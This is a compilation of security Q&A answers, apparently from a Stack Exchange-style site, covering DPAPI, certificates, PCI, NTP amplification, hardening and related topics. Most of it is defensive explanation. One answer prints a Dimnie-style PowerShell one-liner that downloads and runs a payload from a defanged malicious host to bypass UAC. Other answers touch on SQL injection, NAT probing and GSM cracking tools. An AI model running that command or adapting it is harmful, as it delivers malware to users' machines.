TLDR: principle of least privilege.


Summary: unless you have very specific requirements, just use the decent tools Microsoft has provided.

DPAPI allows you to encrypt with user specific or computer specific keys. On a typical shared machine it is slightly less safe to store data for one user in computer context.

If your WinPE environment is short lived, e.g. the tool runs and then it shuts down, it should be quite safe to use “current computer” mode. You can do this by setting dwFlags to CRYPTPROTECT_LOCAL_MACHINE when calling CryptProtectData.

At this point your secret data is stored on disk using encryption which should be well implemented and tested by Microsoft. This is better than rolling your own crypto.

Risks now are:

Anybody who can run code on the machine can extract the secret. If this is a concern, also pass a value for pOptionalEntropy to CryptProtectData. This is effectively a “password” and would force an attacker to also reverse engineer your program to obtain the additional entropy. However, if someone can run code it should be game over for most sensible threat models.
Data can be obtained from a forensic image of the machine. Offline decryption of DPAPI data is possible, there are tools and even a Python implementation. However, this takes time and requires a good forensic image of the original PC. Note it is not an offline attack, you need all of the key material. This is no different to using any other encryption to protect the data. Consider Bitlocker to protect the disk.

If you control the web application, also consider best practises like risk scoring API token usage. Has the client IP changed? Has the bowser changed? Is the client trying to conduct a privileged operation? Each of these can increase a risk score and perhaps trigger extra validation.


Reason to not use chmod -R 777 on internal server for project source code?

However, after putting some thought into it I can't come up with a
  reason why shared executable code on an internal server shouldn't have
  777 permissions.

Because you're not only trusting every user - which might be reasonable on an internal server where "everybody" who has access should have that control - you're also trusting every process on that server.  The web server.  The SSH server.  The DHCP client.  Every scheduled task and every service.  Even processes running as "nobody" and "nogroup".  All sorts of processes that might be leveraged by an attacker to gain or expand their access.

Because if you're going to be that sloppy in internal development, someone's going to be that sloppy on a Production or Customer system, because "that's how we fixed it internally".

Because an attacker will delight in finding that little system that's only internal and isn't important or protected, see weaknesses like writable web application files, use them to get onto the system and start leveraging it to get somewhere.  I'll bet the passwords people use on that system also work on other, more valuable, internal systems.  Maybe you guys use the same root password across servers, too?  That's always a fun one to find.


A "master signing key" (ie your identity) should be safe enough for a lifetime, because ideally you don't ever want to change it, right ?

Yes, that's the idea.

  I am considering using 4k keys for encryption and documents signing, and a 8k+ key as "master key". That means I will use my master key only to sign my owns keys, and other ppls keys.

Also the route I was going, and was fine with that up to now.

  [...] as my pgp2 binary would support 8k+ keys. Is that a correct assumption?

I don't know of pgp2, but if you're speaking about gpg2, namely GnuPG version 2: yes if it's new enough. And this includes all versions of the last few years.

  However, I also need other ppl signing my key. And that is when trouble could arise. Would a default implementation be able to sign a 8k+ keys?

In theory, this should not matter, as other users just sign your key and user ID fingerprint with their own key. But in the end, the implementation will have to understand what it's signing (for example to display the user ID string) and might fail for large keys. What reason for will you be using the key? Most people in the free software world use GnuPG, which supports large keys since a really long time (was it ever limited?). If you have to deal with some businesses with really old versions of PGP, you might have to think a little bit deeper about compatibility.

  Have a missed something? Would you consider that a good way to start using OpenPGP?

Even if you're using smaller subkeys, the "other" client/user must support that large keys to verify your primary key. Also remember that the actual gain in key strength is not linear to the RSA key size!

Creating large keys like 8K RSA does not require recompiling GnuPG any more on most systems and since quite some time. I think I created mine by using batch key generation.

I put together a list of pros and cons of large keys on SuperUser, also giving references further references. This answer on the purpose of multiple keys also might be of interest, although you already seem to be aware of the implications and possibilities using subkeys.


Disclaimer: This answer comes directly from the eHow article. No infringement intended.

  Domain Validation SSL Certificates

  Domain validated SSL certificates are used to establish a baseline level of trust with a website and prove that you are visiting the website you think you are visiting. These certificates are issued after the SSL issuer confirms that the domain is valid and is owned by the person who is requesting the certificate. There is no need to submit any company paperwork to obtain a Domain Validation SSL certificate, and these types of SSL certificates can be issued extremely quickly. The disadvantage to these types of certificates is that anyone can get them, and they hold no real weight except to secure communication between your web browser and the web server.

  Organization Validation SSL Certificates

  An Organization Validation SSL certificate is issued to companies and provides a higher level of security over a Domain Validation SSL certificate. An Organization Validation certificate requires that some company information be verified along with domain and owner information. The advantage of this certificate over a Domain Validation certificate is that it not only encrypts data, but it provides a certain level of trust about the company who owns the website.

  Extended Validation SSL Certificates

  An Extended Validation SSL Certificate is a "top of the line" SSL certificate. Obtaining one requires that a company go through a heavy vetting process, and all details of the company must be verified as authentic and legitimate before the certificate is issued. While this certificate may seem similar to an Organization Validation SSL certificate, the key difference is the level of vetting and verification that is performed on the owner of the domain and the company that is applying for the certificate. Only a company that passes a thorough investigation may use the Extended Validation SSL certificate. This type of certificate is recognized by modern browsers and is indicated by a colored bar in the URL portion of the browser.

Additonally, OV versus EV also have an impact in terms of insurance amounts in case of compromise. The insurance premium for an EV lies a lot higher than with an OV.

Read more/original: Mickey Walburg, Differences in SSL Certificates | eHow.com


Is it legal to "use" security vulnerabilities

I did some tests and made a script that downloads a bunch of stuff
  from there to test what kind of security issue it actually was.

In most jurisdictions it is illegal to access a computer system without permission. The fact that it has security issues does not change that. See Computer Fraud and Abuse Act.

  "If the cursive part is illegal, how can anyone find and let service
  provider know about security issue as telling about it reveals that
  you've used the hole to do something (in this case just to confirm
  that it exists)?"

You can only look for security issues in the system if you are authorised to do so. Some vendors will publish bug bounties or responsible disclosure guidelines which allow such testing by public.


Why won't Firefox accept my certificate?

Try to mark your IPs with type IP. (instead of type DNS.).

Namely, make your section look like this:

[alt_names]
DNS.1 = chacheserver.net
DNS.2 = *.chacheserver.net
DNS.3 = *.*.chacheserver.net
DNS.4 = *.*.*.chacheserver.net
DNS.5 = 192.168.1.130
DNS.6 = 192.168.1.70
DNS.7 = 192.168.2.130
DNS.8 = 192.168.2.70
DNS.9 = 192.168.8.70
DNS.10 = 192.168.8.130
DNS.11 = 127.0.0.1
IP.1 = 192.168.1.130
IP.2 = 192.168.1.70
IP.3 = 192.168.2.130
IP.4 = 192.168.2.70
IP.5 = 192.168.8.70
IP.6 = 192.168.8.130
IP.7 = 127.0.0.1

Some broken browsers (older Internet Explorers, I think) actually expect IPs to be marked "DNS". So for backwards compatibility you can leave the IPs marked as they are and ALSO add them marked with type ID "IP".

Further reading

General SAN concept with OpenSSL: ApeTec, 2012-01-15, Multiple Names on One Certificate. (Archived here.)
Broken browsers:

MichaelM.Info: IP addresses in SubjectAltName in SSL website certificates #fail for some browsers. (Archived here.)
Microsoft Connect regarding this: ID869717

Sidenote: Multiple wildcards will probably not work.

I don't think many clients will accept more than a single wildcard.

So they will probably accept these:

DNS.1 = chacheserver.net
DNS.2 = *.chacheserver.net

But reject these:

DNS.3 = *.*.chacheserver.net
DNS.4 = *.*.*.chacheserver.net


How to securely store user-specific mail server credentials at the server side of a web application

Don’t. Don’t take the risk.

Jira, for example, sets the From: <user name> noreply@jira.com and reply to: user@realaddress.com

Then the user sees the right person’s name in the from, replies to the correct email, and the message comes from your domain (replace Jira with your domain). Then on your domain, ensure you use DKIM, DMARC, and proper SPF (Amazon SES and Sendgrid are great options to outsource properly configured SMTP delivery).

Now the receiving mail server can decide to trust email from your domain because your domain has a good reputation. And the users get email that looks like it comes from their friends.


Is storing CVV in two parts separately a violation of PCI?

I am not a QSA, but this is my understanding:

The intent of that rule is that the CVV is only available to send to the issuing bank when the cardholder types it in themselves.  If the processor is able to recover the CVV in any way which would let them send it without the cardholder entering it, then that is a violation.

By itself, encrypting and splitting the encrypted data is not a problem.  However, if you are able to submit your half and recombine it with their half, then that is recoverable.   And since there would be no point in this process if you weren't able to submit your half, then the whole thing is, in fact, a violation.


How does sound signature recognition work and how to override it?

The recognition software is just comparing hashes/fingerprints...

see: http://en.wikipedia.org/wiki/Acoustic_fingerprint  &
http://en.wikipedia.org/wiki/Hash_function
also might be of interest: https://stackoverflow.com/questions/2068286/music-recognition-and-signal-processing

and yes, you can get fake out many of those platforms (for whatever your perfectly legal purpose is) One possibility is detailed here: http://www.turkeymonkey.com/2009/07/19/how-to-get-around-that-pesky-copyrighted-audio-filter-on-youtube-and-facebook/


Why do browsers send such detailed user agent strings?

User agent strings are maddly complicated for historical reasons. It is a long story, but the short version is that everybody wanted to look like someone else to circumwent servers restricting access to webpages based on browsers. Yes, that used to be a thing back in the days. And now we are stuck with this sad mess.

The good news is that this means that even though the user agent string is long, a lot of it isn't really useful information. If we remove the boiler plate, the information about you that we can actually get from this string is:

iPad: You are on an iPad.
CPU OS 3_2_1 like Mac OS X: You are using iOS with specified version.
en-us: You have your language set to american english.
AppleWebKit/531.21.10: You are using the WebKit engine, with that particular version.
Mobile/7B405: Your firmware version.
You are using Safari. Never explicitly says so, but it can be deduced from the structure of the string.

That is a lot of information that could be useful for fingerprinting. I would say this is still a good practice:

All of this information could also be useful when determining what version of a site to serve. For example, if there is a known bug in a certain version of WebKit, you might want to include some CSS with a workaround. There are legitimate uses for this.
If you keep your software up to date, your user agent will hardly be unique anyway.
There are just to many ways too fingerprint a browser for there to be any point in removing useful information to prevent it. Just look at Panopticlick or the evercookie.

My main point is that asking browser vendors to remove functionality will not solve the underlying problem. If you want to remain untraceable, you need to use a browser specifically designed for that. It will involve loosing a lot of legitimate functionality (e.g. the ability to rezise the browser window).

If you are only worried about the user agent header, there are plugins that will change it or even randomize it for you. But if you are worried about being traced on the web, you should probably be worried about a lot more than that.


How it is dangerous that the ntp service listen to all IPs on Linux?

It's not dangerous per se, it's just usually a bad idea.

From a cloudflare article:

  NTP is a simple UDP-based protocol that can be persuaded to return a
  large reply to a small request.

A misconfigured ntp server listening on the internet can (and will) be used to perform amplification and reflection attacks.

The main victim of such an attack wouldn't be you. The attacker would simply be using your system to perform a DoS attack on a third party. From the victim's point of view you would be the one performing the attack.

Depending on your infrastructre and the method chosen by the attacker, your system and/or your link to the internet might get DoSed as well.

A well secured and patched NTP server with the correct setup can be used to provide time to the open internet. For the general use case of setting the time on your servers or accross your network, it's a good idea to lock it down to trusted networks only and rate-limit access.

As for your actual question (ntp is listening on the "any" address), the netstat output alone doesn't provide enough information to assess whether you have a security problem or not. It just says that NTP is listening on port 123 on every interface. Those interfaces might not be connected to other hosts, they might be connected to trusted hosts only, they might have iptables rules blocking traffic on port UDP/123, etc.


When visiting an HTTPS page for the first time, why isn't there a prompt for the certificate?

Because your browser comes with its own set of certificates.

When you install a new version of Windows 7, it comes with Internet Explorer.

Internet Explorer, like any other browser, comes with its own set of certificates that it trusts.

All the web authentication is based on the fact that there are only valid certificates in your browser.

How does authentication with certificate work?

When you access an https link, the server you access send its own certificate.

This certificate is signed using asymmetric cryptography with the private key of a trusted entity.

The certificates that ship with your browser ARE your trusted entities.

So when you receive a new certificate, you ask the trusted entity (certificate)

if they can validate the identity of the certificate you just received.

Here the certificates stored in your browser act like public keys. If one of the public key can verify

the signed certificate, you know that it was issued by the trusted entity that created this public key.

Fun thing

You need to protect the certificates stored in your browser (trusted entity).

If a malicious user can insert its own certificate it could impersonate the

server your are trying to reach and do an attack called man in the middle.

The only thing protecting you against that is the fact that all the trusted entity in your browser are valid.

Here is a good example of how this attack can be done:

How can my employer be a man-in-the-middle when I connect to Gmail?


Proving a forwarded email attachment was not modified

Is there anyway to ... help to prove my innocence ...?

Ask your client to send an Email send the email to your employer, if you can.

In the future you can confirm that the Email is unchanged by automatically signing your Emails with SSL certificate. There are a lot of providers of affordable certificates. In the popular Email clients like MS Outlook there is functionality that allows you to automatically sign every Email you send. So you can at any time in the future show, that any of your Emails remains unchanged.


hashed username and password in remember me token?

This mechanism is so that when the user changes their password, all "remember-me" sessions are invalidated.

The two key features of this mechanism in regards to security is:

That the password cannot be determined from the hash in the cookie, if the attacker manages to gain access to the cookie somehow.
That the attacker cannot recreate the "remember-me" cookie using other data to gain access from another machine.

At first glance, because the cookie contains a hash of the password

Somenamespace\YourApp\YourUserClass:MjQ2NjM=:1501576079:74fbfcddcc66c2a11586bf4e39e68ddb459afa3a3fa6684e93d03fc393ee1141

it may appear that an attacker could brute force or "password guess" to find out if a tested password generates the same hash (4th parameter above). However, as this is a keyed hash (HMAC in this case), the attacker will not have the key in order to execute such an attack on the cookie value.

Regarding the second point, this is also hard for an attacker to accomplish for the same reasons. As the key of the hash is unknown, it will be almost impossible for an attacker to recreate the "remember-me" cookie even if user ID, class and expiry are known.


In an enterprise environment, should developers/maintainers be able to look at production logs by accessing the application servers?

In general, I think there is recognition that operations engineers and sometimes developers (either internal or with the 3rd party vendor whose products you are using) will need to see production logs in order to debug issues. The number of hoops you need to jump through -- like type of authentication, audit logs, redacting sensitive data, etc -- will depend on context: is there customer data in the logs (specifically "personally identifying information (PII)"?) in which case GDPR may apply depending on where you, your servers, and your customers are. Is there health data in the logs? In which case health regulations like HIPAA or PHIPAA may apply. Is there financial data? In which case PCI-DSS may apply.

For example, quoting from PCI-DSS v3.2.1:

Requirement 8: Identify and authenticate access to system components
8.1.1 Assign all users a unique ID before allowing them to access system components or cardholder data.
8.3 Secure all individual non-console administrative access and all remote access to the Cardholder Data Environment using multi-factor authentication.

So under PCI-DSS, they recognize that people will need to access raw data for various reasons, but they want clear audit trails of who accessed what and when.
Whether or not ssh keys count as strong authentication, I think will depend on what you're doing to ensure that ssh keys are uniquely tied to a single human; ie how do you know that people don't have access to each other's ssh keys?


How to investigate my wifi router for devices which are disconnected earlier

You should be able to access their MAC address in the ARP table on the modem, but this have two problems:

The MAC Address is easily spoofable, so this invalidates the the white/black list solutions.
This model of modem has no way to consult the ARP table, so no way to know.

About the logs, it depends on the model, this is product baseed, so you should check the settings if it logs anything and if it's doing it.

Maybe you can try a ping sweep on you local network while they're using it. Or also handle/modify the DHCP so you assign/manage manually IPs, but this reduce functionality by a lot and still has some workarounds.


Why does the query work when I give 4 or 5 as the input? Does that mean there are 5 columns? If so, why do the output records contain only 3 fields?

Yes, the query would fail if you want to sort by a column which doesn’t exist. So as column position 5 works but 6 doesn’t, there are only 5 columns selected. Why only 3 of them are visible to the user is up to the developer. Maybe he/she selected all columns (e. g., *) instead of just the necessary ones or only the 3 are meant to be visible to the user.

  Why does the query not work when I give any value >= 6?

See above.

  I also noticed that the space is necessary after the --. If I don't give a space, the SQL injection won't work. Why do I need a space?

MySQL requires a whitespace or control character after -- as stated on Comment Syntax:

  In MySQL, the “-- ” (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on). This syntax differs slightly from standard SQL comment syntax, as discussed in Section 1.8.2.5, “'--' as the Start of a Comment”.

  Why isn't a ; (semi-colon) necessary in my injected query. As far as I know MySQL, it doesn't execute the query unless I give it a semi-colon. However, my query executes here perfectly without a semi-colon. Why?

The semicolon is only required as separator between statements. It is also used to terminate the statement input on the mysql console.


Where exactly in the OSI model does TLS/SSL belong

The OSI model is defined in the ITU document X.200.

The document doesn't expressly mention encryption.

Section 7.2.4 (Functions within the Presentation Layer

Item b says

  representation of the abstract syntax chosen by the application-entities in the transfer syntax negotiated or
  renegotiated, including format and special purpose transformations (for example, data compression);

This definition is the best fit I can find for what I would describe as TLS doing. I would say TLS is Layer 6.


How can I obtain the internal IP of a computer behind NAT but reachable via certain TCP port?

I must disagree with @vahid.  If there are multiple hops between the NAT and the host to which the connection is being port-forwarded, you may actually be able to elicit an ICMP TIMEX message.

As you may know, every IPv4 packet has a 1 byte TTL field.  If you determine the distance to the NAT (say 10 hops) and the actual concealed host is actually 12 hops (or more) away, you could send a SYN to the port-forwarded port on the NAT with a TTL value of 11.  If it is simply rewriting the address (rather than acting as a reverse proxy) then the TTL will be unmolested.  This means that the TTL when leaving the NAT headed inbound will be 1.  The next router will decrement to zero, causing an ICMP Time To Live Exceeded (TIMEX) message back to the sender.

Even though the outbound packet will be NATted, every ICMP error message (of which this is one) will contain the embedded protocol header within it.  What this means is that the original de-NATted destination host will now be visible in the ICMP payload as an embedded IP header being returned in the error.

While it is certainly true that this technique has some very specific requirements to be successful (ICMP permitted outbound, the actual port-forwarded host not on the local LAN of the NAT, etc.) it will certainly work, meaning that this is -not- impossible by any means.


How does the Deepsound steganography software work, and what are pros and cons of it?

Steganography is any method of hiding a message inside something that looks innocent.  It has different goals to encryption, in that encryption stops a party reading the message even if they know it's there, whereas steganography hides the message so if you don't know it's there, you won't discover it.  That's why the two can be used together usefully: to encrypt the message and then hide it, so that somebody not knowing the existence of the message won't discover it, but if they do, then they won't be able to read it.

Steganography should be able to hide the existence of the message with no tell-tale signs that a message is hidden in it.  In an image or audio file its effect on the image or the audio must be imperceptible to human ears, so it's not good enough if it creates a "weird noise in the background" or something to that effect.  Ideally it should even not indicate its presence under regular scrutiny such as zooming in, or analysis with a scope.

Typically it superimposes a noise pattern over the signal in such a way that it's not going to be seen or heard by humans but it can be detected by a digital examination of the file itself, by ensuring that its noise pattern is outside the range that humans will pick up on or is sufficiently masked by actual signal.

Note: steganography doesn't have to be this sophisticated.  Some files allow arbitrary data to be hidden in the file format somewhere that it won't be read by software that reads that file format, by placing it into redundant space that is not referenced by the header of the document.  This is notably possible with ZIP files where you can have innocent looking compressed files in the archive itself but have other data in the file that will never be accessed by a ZIP reader.  The side effect of this type of steganography is that the increase in file size may arouse suspicion, whereas this may not be the case in an uncompressed audio signal where adding extra information will not increase file size.


Securing a Site: Diversity over Simplicity?

One of the tenets of security seems to be that if something is overcomplicated, the probability of exploiting increases.

...

  Simplicity, however, implies homogeneity. After all, it's simpler to secure fewer OSes, maintain fewer antimalware solutions, and patch fewer applications.

You're overloading the word "simplicity". You're using it to mean both "free of complication" and "having few parts".

A system can be both diverse and free of complication. Complication arises through the interaction and interdependence of many parts, and diverse systems need not be overly interdependent. By adherence to consistent interfaces and standards, pieces become interchangeable without requiring them to be uniform.

Think of automobiles, for example. We have literally thousands of varieties, each different by varying degrees. Different fuels, different sizes, different manufacturers, different purposes. But if I learn how to drive a Toyota, my knowledge immediately transfers to a Nissan or a Saab. Steering wheel, gas pedal, brake pedal; I can figure it out in seconds. It's simple.

As for diversity: If one morning all cars made by Hyundai stopped working, it'd be a problem but not an insurmountable disaster. If ceramic brakes were one morning found to be unsafe, people could switch them out for metal ones. The cost isn't zero, but the system survives.


Why doesn't DLL injection works on Windows 10 for native Windows binaries (e.g. calc.exe)?

Run the PowerShell Get-ProcessMitigation command on a process id (pid) of a running calc.exe.

PS> Get-ProcessMitigation -Id <calc_pid>

You will be informed that it will only load Microsoft Signed Libraries.

MicrosoftSignedOnly: ON

This is new in Windows 10.


What is an endpoint in the context of TLS?

The endpoint of a network communication is the computer, program, or function which initiates or ultimately receives the communication. Since TLS is "designed to establish a secure connection between a client and a server communicating over an insecure channel" (RFC 5246), it's probably safe to assume the paper you linked to is talking about client & server endpoints.
So, without endpoints, TLS itself would have no purpose. I think that's the best your question can be answered.


On first glance, it appears to be ingenious and a double layer of security.  On further thought, it is quite similar to tokenization of credit cards, with 1 pro and 1 con as opposed to tokenization:

pro - there are two layers of encryption in two separate systems
con - full credit card numbers, although encrypted, are still stored in the business system and the encryption is reversible.

Although the two custodian setup is a good mechanism, the keys to the kingdom are still the encryption key of the 'key database'.  If they are compromised, the rest is just lookup and algorithms and ALL credit card numbers can escape.

Based on a preliminary analysis, I would venture that, on the whole, it is perhaps less secure to a tokenization system.  A token cannot be reversed, it can only be looked up, and thus throttled, controlled from IP etc. A good tokenization system has other advantages like it can be outsourced, or the CC number can only be released to a third party like a payment processor, etc. and CC numbers, encrypted or clear, are never stored in a business system and may not even enter the business estate after having been exchanged for a token the first time.


There are many other ways to bypass UAC regardless of the use of metasploit, since you are talking about Flash plugin, your "exploit" is going to be delivered via a browser.
If you take the example of the recently discovered file-less malware "Dimnie", the payload is dropped using Powershell, to avoid static detection it introduces characters which the Windows shell will ignore (e.g: ^), but the "readable" code that will definitely bypass UAC will look like:

cmd.exe /c "powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('hxxp://malicious.ma/somefolder/your_payload.exe','%dropfolder%.exe');start-process '%dropfolder%.exe'"

Passing via cmd will generally guarantee you an UAC bypass, at least at user level privilege.


Password managers, how do they get the credentials when you press enter?

Well it's simple, in web whenever a page is created for login or for signup there  are few things that kept in mind.

1-The user input is taken in forms. <form>...<form>

2-Variables are created to take your input,that depends on what are the rules for inputs.

3-In web a tag <input type="password" class="inputtext" name="pass" id="pass" data-testid="royal_pass"> in this snippet the  type = "password"
tells you are going to enter password

So whenever you are going to fill a login page the browser detects and asks you to save the password.Then Browser checks for username, the tag is also used for user name. Basically you can say that input works as a variable, whose name is "pass" to take your input and proceed.


Should HTTP Security headers be configured for all servers?

Let's say you have an app running on app.example.com on your local network, and you make it accessible on the internet through a reverse proxy on web.example.com. I would set the headers on app for a number of reasons:

You want to keep application logic close to the app. The headers are not one size fits all. You need to understand what you are serving to know how to set them. Therefore it makes more sense to set them on app.example.com.
Users on your intranet might browse directly to app.example.com, either on purpose or by mistake. They should still get the proteciton.
If an attacker knows the URL to app.example.com, she could leverage it in an attack against users on your intranet. If she can't embed web.example.com in an iframe on evil.com for her attack, she can just embed app.example.com instead.

If you have some minimum level of protection you want everything to have (perhaps you always want XSS proteciton to be on), you can set it on web.example.com as well as an extra failsafe.


The VPN connection will not protect you from other devices attempting to connect to your device. The VPN will encrypt your network transmissions. If your friend states that he has noticed port scans and exploit attempts, the VPN will not protect you from that. The described malicious network activity is going after your actual network adapter and attempting to connect into your computer via known ports and exploits.

For best protection in such an environment, you would want a personal firewall that explicitly denies all inbound traffic to your computer.


Replacing username and password screen with a PIN code screen for easier mobile access

What you want would require the token to be valid indefinitely. However, that WOULD compromise the app security. Therefore, you have to find a way to get 2 tokens onto the device, one valid for 2 hours, the second one indefinitely. However, anyone who gains access to the mobile device can access the token as well, leading to an account compromisation. To prevent that, you could encrypt the token. A token encrypted by 4 digits might still not be strong for your use case, but that is outside my knowledge.


I surfed a bit and got the idea that I can implement SSL over TCP

Using SSL/TLS over TCP is a good idea.

It is an established, well-known and well-studied protocol where lots of libraries can be found and lots of documentation exist. And, properly used it offers strong encryption and also protection against passive sniffing and active man-in-the-middle attacks. But make sure you use recent TLS libraries and follow current and widely published documentation so that you actually make proper use of the security offered by TLS. Also, don't try to "cheat" by disabling certificate validation etc - while it looks like it would work it will usually be insecure.

Given that you don't have much experience in this area you should in no way try to create your own protection layer since it is very likely that you will introduce problems which you will not be aware of - see also Why shouldn't we roll our own?.


Kraken works by either leveraging the CPU or an ATI video card (use `make noati' when compiling). Either one should be sufficient -- I would not recommend using an old computer or outdated hardware.

Josh Wright wrote about Kraken along with pytacle in "Hacking Exposed Wireless, 3rd Edition". He mentioned that recent GNU C Compilers do not compile the original Kraken source release, so he updated and made available a newer version of Kraken here -- https://github.com/joswr1ght/kraken

The Kraken tables from the original project must still be downloaded and utilized.

Best way to defend against this attack is to use a BYOT SIM card from a provider such as StraightTalk.


How to verify email addresses in GnuPG UIDs?

The most common case I've seen so far is to sign the key and then send the signed key (well, just the single signature) via e-mail to the purported e-mail address. If there's more than one e-mail address on a key, to each address you only send the signature for this address, encrypted with their public key. Do not upload the signature to a key server or make it available otherwise. Then either the person receives the signature and is able to decrypt it and everything is fine, or they don't and you don't care.

This of course only solves the problem in the keysigning party case (or similar), e.g. you certifying to other people that the ID consisting of name (which you checked with an ID document) and e-mail address (checked with the above protocol) is correct. To be sure yourself you would need to delete the signature locally (or not import it into your keyring in the first case) and then wait until the recipient has uploaded it to a keyserver.

There's a tool that implements this protocol: caff.


Facebook allows password + any character

Yes, this would pose a security risk, though it would probably be regarded as a very low risk. It is worth noting that Facebook still implements other password policies such as access to email, security questions, server side authentication mechanisms and other various things. That being said, it does still pose a risk. Often times when software companies store old accounts, and have their password policies continuously updated over time to match current security standards. If the companies are storing accounts that can be used for retrieval at a later date, the old accounts may not be up-to-date with current password policy recommendations. This is surprisingly not too unusual.

As well, Facebook implements 'features' like these to increase user experience. See: http://www.zdnet.com/article/facebook-passwords-are-not-case-sensitive-update/

The security risk still present is because it would open up a small attack vector that would allow an attacker to access an account faster than they could if policies aforementioned are not factored in. For example, if your password 5 years ago on Facebook was "Password10", and this account came back to life and did not require an update to the account before accessing the content, it would be easier to access an account by means of brute-force and others. As previously stated, the risk is very low compared to modern security policies such as lockouts, etc. Though, some security auditing companies and automated scanners might say that it is a low risk.


Tencent/Safefinder Identify and remove malware

The programme in the screenshots was called Tencent.
I found a file location in its options, dug around and got and got the name from there.

I had to reboot in safe mode, to kill the processes as it restarts itself automatically, then uninstall the application, delete the files and remove the app data.

Followed this video guide.

Tencent Removal Guide

The following files all came bundled with this pain in the ass.

QMDownload
Tencent
Qiimu
TuneUp Software
Easy Hotspot
Sound+


IMHO, your LUKS setup is OK:

On internal drive, you only have /boot that is unciphered. The rest of the volume consists in a stack of LUKS + LVM, so it's ok.
On external drive, everything looks encrypted.

Just a small remark: 700MiB is a lot for a /boot partition....


How is the secret key being stored on disk?

Like any other file is stored on disk.

  Is it possible for someone to hack into my computer, steal the secret key and use it to decrypt all my messages which were encrypted with my public key?

Yes. Your private key is VERY important for this reason.

  Does it not mean that someone can brute force the password and use the secret key anyways?

Yes, they can. Using a weak password to protect your private key will not guarantee you much security if your private key should fall into the wrong hands.

When it comes to public/private key cryptography, there is no understating how private your private key should be.


How can I know if an attack is still valid, if there is no CVE for it?

The issue described in the paper is not an actual vulnerability, but rather the consequence of using untrusted certificates in the environment. When connecting to a remote RDP server, it uses by default a self-signed certificate. When you accept that certificate, you trust the remote system. If this is the way in your network, then attacker can set up a proxy server and proxy all your RDP traffic through his system, e.g. perform a man-in-the-middle attack. It starts when you accept attacker’s certificate and establish the connection.

To avoid this issue, you need to use trusted certificates, signed by trusted CA. And when the remote server offers an untrusted certificate, you should suspect that something is wrong. It is the same issue as with web browsers and fake certificates.

The bottom line, if your organization is using self-signed certificates, it is vulnerable to this attack.

Here are some articles on how to configure your RDP servers to use trusted certificates:
https://blogs.technet.microsoft.com/enterprisemobility/2010/04/09/configuring-remote-desktop-certificates/

https://www.derekseaman.com/2013/01/creating-custom-remote-desktop-services.html


Should you use VPN if the website uses HTTPS?

Some VPNs actually establish their connection via SSL.  SSL really is a sort of VPN between you and the server, so as long as you don't mind people knowing that you are talking to that server and you don't mind the site knowing your IP, then you are fine to just access it directly.

If you want to avoid letting anyone know what system you are talking to or you want to have a VPN act as a proxy to protect your identity (from the site you are visiting) then you would still need a VPN.


Its all in the source! Gentoo hardened is an security driven distro the hardened profile really packs a great deal into making it really secure.
But is it worth the compile? A big question among the linux forums.
Lets look at Gentoo hardened profile in terms of security:
while it adds some security
it's so little that it's not worth it in most cases. It provides more security
on a binary distro because everyone has the same binaries and an attacker
don't need to guess where a specific piece of code may get loaded but by
running a source distro your address space is already pretty unique. The only
case where it provides some security is when an attacker is trying to guess an
address for an exploit, making the wrong guess will likely crash the process
and it will be reloaded on a new address. Do you have valuable enough data for
an attacker to go through that hassle in order to get it? If you do then you
should use a hardened profile, but physical security and disk encryption is
more important because if it's worth that much it'll be easier to just rob
you.
Be aware that there's no hardened desktop profile so that alone will make it
somewhat harder if plan to use it on a desktop.
Another reason is if you want to use something like SELinux (which doesn't
require a hardened profile) that gives you very fine grained control about
access control but it's also very restrictive. I think it's only worth it for
large networks with many users and different levels of access to sensitive
data.
I needed some of SELinux features but settled for using AppArmor in an unusual
way to accomplish them because SELinux is too much trouble. All AppArmor
really does is provide process isolation or sandboxing. If an attacker gains
access through an exploint he will only be able to access the files that the
exploited service has access to. I use it with a catch all profile that
prevents execution from all world writeable and home directories, and access
to ssh/pgp keys, keyrings, etc. This works nice for servers and desktops and
is not too restrictive. And if I need to execute code from my home dir for
development I can launch an unrestricted shell via sudo. I can leave my laptop
unlocked with the wallet open (I use the kwallet pam module) and it will be
really hard for you to get anything like ssh keys or passwords (I also have
patches for kwallet so it requires a password to show saved passwords), but
the programs that need them have access to them.
But what makes it hardened? lets look at some of those items as well:

PaX is a kernel patch that protects us from stack and heap overflows.
PaX does this by using ASLR (address space layout randomization),
which uses random memory locations in memory. Each shellcode must use
an address to jump to embedded in it in order to gain code execution
and, because the address of the buffer in memory is randomized, this
is much harder to achieve. PaX adds an additional layer of protection
by keeping the data used by the program in a non-executable memory
region, which means an attacker won’t be able to execute the code it
managed to write into memory. In order to use PaX, we have to use a
PaX-enabled kernel, such as hardened-sources.
PIE/PIC (position-independent code): Normally, an executable has a
fixed base address where they are loaded. This is also the address
that is added to the RVAs in order to calculate the address of the
functions inside the executable. If the executable is compiled with
PIE support, it can be loaded anywhere in memory, while it must be
loaded at a fixed address if compiled with no PIE support. The PIE
needs to be enabled if we want to use PaX to take advantage of ASLR.
RELRO (relocation read-only): When we run the executable, the loaded
program needs to write into some sections that don’t need to be
marked as writable after the application was started. Such sections
are .ctors, .dtors, .jcr, .dynamic, and .got [4]. If we mark those
sections as read-only, an attacker won’t be able to use certain
attacks that might be used when trying to gain code execution, such
as overwriting entries in a GOT table.
SSP (stack-smashing protector) is used in user-mode; it protects
against stack overflows by placing a canary on the stack. When an
attacker wants to overflow the return EIP address on the stack, he
must also overflow the randomly chosen canary. When that happens, the
system can detect that the canary has been overwritten, in which case
the application is terminated, thus not allowing an attacker to jump
to an arbitrary location in memory and execute code from there.
RBAC (role-based access control): Note that RBAC is not the same as
RSBAC, which we’ll present later on. The RBAC is an access control
that can be used by SELinux, grsecurity, etc. By default, the creator
of a file has total control over the file, while the RBAC forces the
root user to have control of the file, regardless of who created it.
Therefore all users on the system must follow the RBAC rules set by
administrator of the system.

Additionally, we can also use the following access control systems, which are used to control access between processes and objects. Normally, we have to choose one of the systems outlined below, because only one of the access control systems can be used at a time. Access control systems include the following:

SELinux (security-enhanced Linux)
AppArmor (application armor)
Grsecurity, which contains various patches that can be applied to the
kernel to increase the security of a whole system. If we would like
to enable grsecurity in the kernel, we must use a grsecurity-enabled
kernel, which is hardened-sources.
RSBAC (rule set-based access control): We must use rsbac-sources
kernel to build a kernel with rsbac support.

It all comes down to the big question as stated earlier? Worth the Compile? Really comes down to how or what you are securing and is the effort worth while? Or will you be able to truly secure what you do not want prying eyes to see?


Security implication of non-free drivers

